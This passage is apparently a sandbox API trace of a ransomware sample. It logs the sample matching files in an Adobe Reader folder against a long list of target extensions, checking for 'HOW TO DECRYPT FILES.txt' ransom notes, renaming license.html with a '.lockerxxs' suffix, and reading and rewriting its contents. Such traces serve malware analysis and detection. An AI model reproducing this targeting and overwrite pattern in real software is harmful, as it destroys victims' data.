10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.txt") returned 0 [0069.509] lstrlenA (lpString="*.txt") returned 5 [0069.509] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.jpeg") returned 0 [0069.509] lstrlenA (lpString="*.jpeg") returned 6 [0069.509] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.jpg") returned 0 [0069.509] lstrlenA (lpString="*.jpg") returned 5 [0069.509] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.png") returned 0 [0069.509] lstrlenA (lpString="*.png") returned 5 [0069.510] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.php") returned 0 [0069.510] lstrlenA (lpString="*.php") returned 5 [0069.510] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.cs") returned 0 [0069.510] lstrlenA (lpString="*.cs") returned 4 [0069.510] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.cpp") returned 0 [0069.510] lstrlenA (lpString="*.cpp") returned 5 [0069.510] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.rar") returned 0 [0069.510] lstrlenA (lpString="*.rar") returned 5 [0069.510] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.zip") returned 0 [0069.510] lstrlenA (lpString="*.zip") returned 5 [0069.510] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.html") returned 0 [0069.510] lstrlenA (lpString="*.html") returned 6 [0069.510] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.htm") returned 0 [0069.510] lstrlenA (lpString="*.htm") returned 5 [0069.510] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.xlsx") returned 0 [0069.510] lstrlenA (lpString="*.xlsx") returned 6 [0069.510] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.xls") returned 0 [0069.510] lstrlenA (lpString="*.xls") returned 5 [0069.510] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.mp4") returned 0 [0069.511] lstrlenA (lpString="*.mp4") returned 5 [0069.511] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.ppt") returned 0 [0069.511] lstrlenA (lpString="*.ppt") returned 5 [0069.511] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.pptx") returned 0 [0069.511] lstrlenA (lpString="*.pptx") returned 6 [0069.511] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.doc") returned 0 [0069.511] lstrlenA (lpString="*.doc") returned 5 [0069.511] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.dot") returned 0 [0069.511] lstrlenA (lpString="*.dot") returned 5 [0069.511] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.docx") returned 0 [0069.511] lstrlenA (lpString="*.docx") returned 6 [0069.511] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.7z") returned 0 [0069.511] lstrlenA (lpString="*.7z") returned 4 [0069.511] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.tar") returned 0 [0069.511] lstrlenA (lpString="*.tar") returned 5 [0069.511] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.bz2") returned 0 [0069.511] lstrlenA (lpString="*.bz2") returned 5 [0069.511] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.gz") returned 0 [0069.511] lstrlenA (lpString="*.gz") returned 4 [0069.511] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.mkv") returned 0 [0069.511] lstrlenA (lpString="*.mkv") returned 5 [0069.511] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.eml") returned 0 [0069.512] lstrlenA (lpString="*.eml") returned 5 [0069.512] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.msg") returned 0 [0069.512] lstrlenA (lpString="*.msg") returned 5 [0069.512] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.edb") returned 0 [0069.512] lstrlenA (lpString="*.edb") returned 5 [0069.512] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.accdb") returned 0 [0069.512] lstrlenA (lpString="*.accdb") returned 7 [0069.512] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.odb") returned 0 [0069.512] lstrlenA (lpString="*.odb") returned 5 [0069.512] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.java") returned 0 [0069.512] lstrlenA (lpString="*.java") returned 6 [0069.512] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.asm") returned 0 [0069.512] lstrlenA (lpString="*.asm") returned 5 [0069.512] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.pfx") returned 0 [0069.512] lstrlenA (lpString="*.pfx") returned 5 [0069.512] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.pem") returned 0 [0069.512] lstrlenA (lpString="*.pem") returned 5 [0069.512] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.p12") returned 0 [0069.512] lstrlenA (lpString="*.p12") returned 5 [0069.512] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.gpg") returned 0 [0069.512] lstrlenA (lpString="*.gpg") returned 5 [0069.513] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.vsd") returned 0 [0069.513] lstrlenA (lpString="*.vsd") returned 5 [0069.513] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.odg") returned 0 [0069.513] lstrlenA (lpString="*.odg") returned 5 [0069.513] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.raw") returned 0 [0069.513] lstrlenA (lpString="*.raw") returned 5 [0069.513] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.nef") returned 0 [0069.513] lstrlenA (lpString="*.nef") returned 5 [0069.513] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.svg") returned 0 [0069.513] lstrlenA (lpString="*.svg") returned 5 [0069.513] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.psd") returned 0 [0069.513] lstrlenA (lpString="*.psd") returned 5 [0069.513] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.vmx") returned 0 [0069.513] lstrlenA (lpString="*.vmx") returned 5 [0069.513] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.vmdk") returned 0 [0069.513] lstrlenA (lpString="*.vmdk") returned 6 [0069.513] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.vdi") returned 0 [0069.513] lstrlenA (lpString="*.vdi") returned 5 [0069.513] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.lay6") returned 0 [0069.513] lstrlenA (lpString="*.lay6") returned 6 [0069.513] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.mpeg") returned 0 [0069.514] lstrlenA (lpString="*.mpeg") returned 6 [0069.514] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.djvu") returned 0 [0069.514] lstrlenA (lpString="*.djvu") returned 6 [0069.514] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.tiff") returned 0 [0069.514] lstrlenA (lpString="*.tiff") returned 6 [0069.514] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.backup") returned 0 [0069.514] lstrlenA (lpString="*.backup") returned 8 [0069.514] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.pdf") returned 0 [0069.514] lstrlenA (lpString="*.pdf") returned 5 [0069.514] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.cert") returned 0 [0069.514] lstrlenA (lpString="*.cert") returned 6 [0069.514] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.docm") returned 0 [0069.514] lstrlenA (lpString="*.docm") returned 6 [0069.514] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.xlsm") returned 0 [0069.514] lstrlenA (lpString="*.xlsm") returned 6 [0069.514] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.dwg") returned 0 [0069.514] lstrlenA (lpString="*.dwg") returned 5 [0069.514] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.nd") returned 0 [0069.514] lstrlenA (lpString="*.nd") returned 4 [0069.514] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.tlg") returned 0 [0069.514] lstrlenA (lpString="*.tlg") returned 5 [0069.514] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.lgb") returned 0 [0069.514] lstrlenA (lpString="*.lgb") returned 5 [0069.514] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.mov") returned 0 [0069.514] lstrlenA (lpString="*.mov") returned 5 [0069.515] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.xdw") returned 0 [0069.515] lstrlenA (lpString="*.xdw") returned 5 [0069.515] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.ods") returned 0 [0069.515] lstrlenA (lpString="*.ods") returned 5 [0069.515] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.wav") returned 0 [0069.515] lstrlenA (lpString="*.wav") returned 5 [0069.515] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.mp3") returned 0 [0069.515] lstrlenA (lpString="*.mp3") returned 5 [0069.515] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.aiff") returned 0 [0069.515] lstrlenA (lpString="*.aiff") returned 6 [0069.515] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.flac") returned 0 [0069.515] lstrlenA (lpString="*.flac") returned 6 [0069.515] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.m4a") returned 0 [0069.515] lstrlenA (lpString="*.m4a") returned 5 [0069.515] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini", pszSpec="*.csv") returned 0 [0069.515] lstrlenA (lpString="*.csv") returned 5 [0069.515] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12dac, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0069.515] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.515] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0069.515] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0069.515] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0069.515] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\eula.ini") returned="eula.ini" [0069.515] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\" [0069.515] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\") returned="" [0069.515] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\HOW TO DECRYPT FILES.txt" [0069.516] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\how to decrypt files.txt")) returned 0x20 [0069.516] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html" [0069.516] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.ems") returned 0 [0069.516] lstrlenA (lpString="*.ems") returned 5 [0069.516] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.db") returned 0 [0069.516] lstrlenA (lpString="*.db") returned 4 [0069.516] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.dbf") returned 0 [0069.516] lstrlenA (lpString="*.dbf") returned 5 [0069.516] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.myox") returned 0 [0069.516] lstrlenA (lpString="*.myox") returned 6 [0069.516] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.myo") returned 0 [0069.516] lstrlenA (lpString="*.myo") returned 5 [0069.516] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.qbw") returned 0 [0069.516] lstrlenA (lpString="*.qbw") returned 5 [0069.516] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.qbb") returned 0 [0069.516] lstrlenA (lpString="*.qbb") returned 5 [0069.516] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.qbm") returned 0 [0069.516] lstrlenA (lpString="*.qbm") returned 5 [0069.516] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.qbo") returned 0 [0069.516] lstrlenA (lpString="*.qbo") returned 5 [0069.516] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.qbx") returned 0 [0069.516] lstrlenA (lpString="*.qbx") returned 5 [0069.517] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.qba") returned 0 [0069.517] lstrlenA (lpString="*.qba") returned 5 [0069.517] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.qby") returned 0 [0069.517] lstrlenA (lpString="*.qby") returned 5 [0069.517] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.qbj") returned 0 [0069.517] lstrlenA (lpString="*.qbj") returned 5 [0069.517] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.ofx") returned 0 [0069.517] lstrlenA (lpString="*.ofx") returned 5 [0069.517] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.qif") returned 0 [0069.517] lstrlenA (lpString="*.qif") returned 5 [0069.517] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.mye") returned 0 [0069.517] lstrlenA (lpString="*.mye") returned 5 [0069.517] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.mbox") returned 0 [0069.517] lstrlenA (lpString="*.mbox") returned 6 [0069.517] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.eml") returned 0 [0069.517] lstrlenA (lpString="*.eml") returned 5 [0069.517] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.pst") returned 0 [0069.517] lstrlenA (lpString="*.pst") returned 5 [0069.517] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.ost") returned 0 [0069.517] lstrlenA (lpString="*.ost") returned 5 [0069.517] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.idx") returned 0 [0069.517] lstrlenA (lpString="*.idx") returned 5 [0069.517] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.dbx") returned 0 [0069.517] lstrlenA (lpString="*.dbx") returned 5 [0069.517] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.sql") returned 0 [0069.517] lstrlenA (lpString="*.sql") returned 5 [0069.518] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.mdb") returned 0 [0069.518] lstrlenA (lpString="*.mdb") returned 5 [0069.518] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.fdb") returned 0 [0069.518] lstrlenA (lpString="*.fdb") returned 5 [0069.518] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.wab") returned 0 [0069.518] lstrlenA (lpString="*.wab") returned 5 [0069.518] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.dat") returned 0 [0069.518] lstrlenA (lpString="*.dat") returned 5 [0069.518] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.txt") returned 0 [0069.518] lstrlenA (lpString="*.txt") returned 5 [0069.518] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.jpeg") returned 0 [0069.518] lstrlenA (lpString="*.jpeg") returned 6 [0069.518] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.jpg") returned 0 [0069.518] lstrlenA (lpString="*.jpg") returned 5 [0069.518] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.png") returned 0 [0069.518] lstrlenA (lpString="*.png") returned 5 [0069.518] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.php") returned 0 [0069.518] lstrlenA (lpString="*.php") returned 5 [0069.518] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.cs") returned 0 [0069.518] lstrlenA (lpString="*.cs") returned 4 [0069.518] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.cpp") returned 0 [0069.518] lstrlenA (lpString="*.cpp") returned 5 [0069.518] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.rar") returned 0 [0069.518] lstrlenA (lpString="*.rar") returned 5 [0069.518] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.zip") returned 0 [0069.518] lstrlenA (lpString="*.zip") returned 5 [0069.519] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", pszSpec="*.html") returned 1 [0069.519] lstrlenA (lpString="*.html") returned 6 [0069.519] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html" [0069.519] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html" [0069.519] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html." [0069.519] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html.lockerxxs" [0069.519] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.520] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x12dac [0069.521] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x99d45400, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81df42a0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x99d45400, dwHighDateTime=0x1cb84b4)) returned 1 [0069.521] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.521] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x12d86, lpOverlapped=0x0) returned 1 [0069.524] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html") returned="license.html" [0069.524] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.524] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x12d86, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, 